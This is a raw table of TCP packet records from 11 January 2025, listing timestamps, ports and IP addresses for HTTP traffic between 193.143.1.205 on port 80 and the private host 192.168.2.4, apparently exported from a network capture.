Jan 11, 2025 08:23:59.634516001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.634526014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.634536028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.634546995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.634557009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.634581089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.634625912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.634960890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.634970903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.634982109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.635014057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.635047913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.635119915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.635129929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.635139942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.635150909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.635176897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.635205030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.635482073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.635499954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.635509968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.635519981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.635529995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.635565996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.635858059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.635917902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.645533085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.658457994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.670842886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.670861959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.670871973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.670944929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.671039104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.671099901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.684192896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.705379009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.705390930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.705400944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.705473900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.705518961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.705529928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.705540895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.705553055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.705580950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.705622911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.705779076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.705790043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.705801010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.705842018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.705873013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.721404076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.721416950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.721426964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.721535921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.721628904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.721643925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.721687078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.739553928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.739619017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.739629030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.739645004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.739690065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.739758015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.739800930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.739810944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.739820004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.739855051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.739891052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.740072966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.740082026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.740091085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.740101099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.740127087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.740170002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.751744986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.751765013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.751774073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.751841068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.751912117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.751920938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.751931906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.751957893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.751982927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.752058029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752075911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752119064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.752207994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752218008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752228975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752237082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752259016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.752300024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.752444029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752454996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752464056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752477884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752492905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.752536058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.752684116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752701998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752712011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752758980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.752903938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752914906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752923965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.752964020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.753000975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.753146887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.753156900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.753165960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.753175974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.753187895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.753197908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.753200054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.753278971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.753460884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.753472090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.753509998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.753530025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.753546000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.753556013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.753565073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.753576040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.753604889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.753959894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.753973961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.754004002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.754183054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.754194021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.754203081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.754213095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.754223108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.754232883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.754234076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.754241943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.754251957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.754261971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.754271984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.754283905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.754317999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.754971981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.754986048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.754997015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755002022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755012035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755022049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755023003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.755032063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755042076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755053043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755073071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.755112886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.755625963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755636930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755645990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755656958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755666971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755671024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.755676985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755687952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755697966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755701065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.755713940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755723953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.755734921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.755764961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.756256104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.756266117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.756275892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.756284952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.756294012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.756304026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.756313086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.756315947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.756323099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.756334066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.756438971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.756438971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.756966114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.756978035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.756988049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.756998062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.757009029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.757019997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.757019997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.757030010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.757040024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.757051945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.757056952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.757067919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.757086039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.757116079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.760610104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.773641109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.792187929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.792213917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.792224884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.792262077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.792308092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.792423010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.792433977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.792443991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.792454004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.792474031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.792503119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.792689085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.792701006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.792737007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.792850018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.792859077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.792869091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.792879105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.792887926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.792897940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.792936087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.804514885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.804565907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.804582119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.804593086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.804647923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.804713964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.804723978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.804728985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.804738998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.804794073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.826415062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.826527119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.826535940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.826571941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.826582909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.826685905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.826685905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.826709032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.826719999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.826728106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.826761961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.826781034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.838685989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.838735104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.838746071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.838814974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.838888884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.838898897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.838908911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.838918924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.839109898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.839111090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.839198112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.839209080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.839217901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.839229107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.839256048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.839293003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.839370012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.839380026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.839428902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.839621067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.839629889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.839639902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.839648962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.839658976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.839668036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.839678049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.839682102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.839689970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.839719057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.839747906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.840095997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.840106010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.840115070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.840162992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.840239048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.840248108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.840256929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.840296984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.840329885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.840341091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.840349913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.840358973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.840368032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.840377092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.840385914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.840390921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.840394974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.840451002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.841070890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.841080904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.841089964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.841099024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.841109037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.841118097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.841129065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.841130972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.841141939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.841150999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.841161966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.841171026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.841171980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.841182947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.841193914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.841202974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.841212988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.841253996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.841979980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.841989994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.842000008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.842009068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.842017889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.842027903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.842036009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.842037916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.842047930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.842057943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.842067957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.842080116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.842083931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.842123032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.842150927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.843664885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.843673944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.843683004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.843740940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.843810081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.843820095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.843835115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.843844891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.843867064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.843895912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.843961000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.844014883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.860820055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.860831976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.860843897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.860894918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.860898018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.860954046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:23:59.860980034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.860990047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861001015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:23:59.861011028 CET	80	49730	193.143.1.205	192.168.2.4
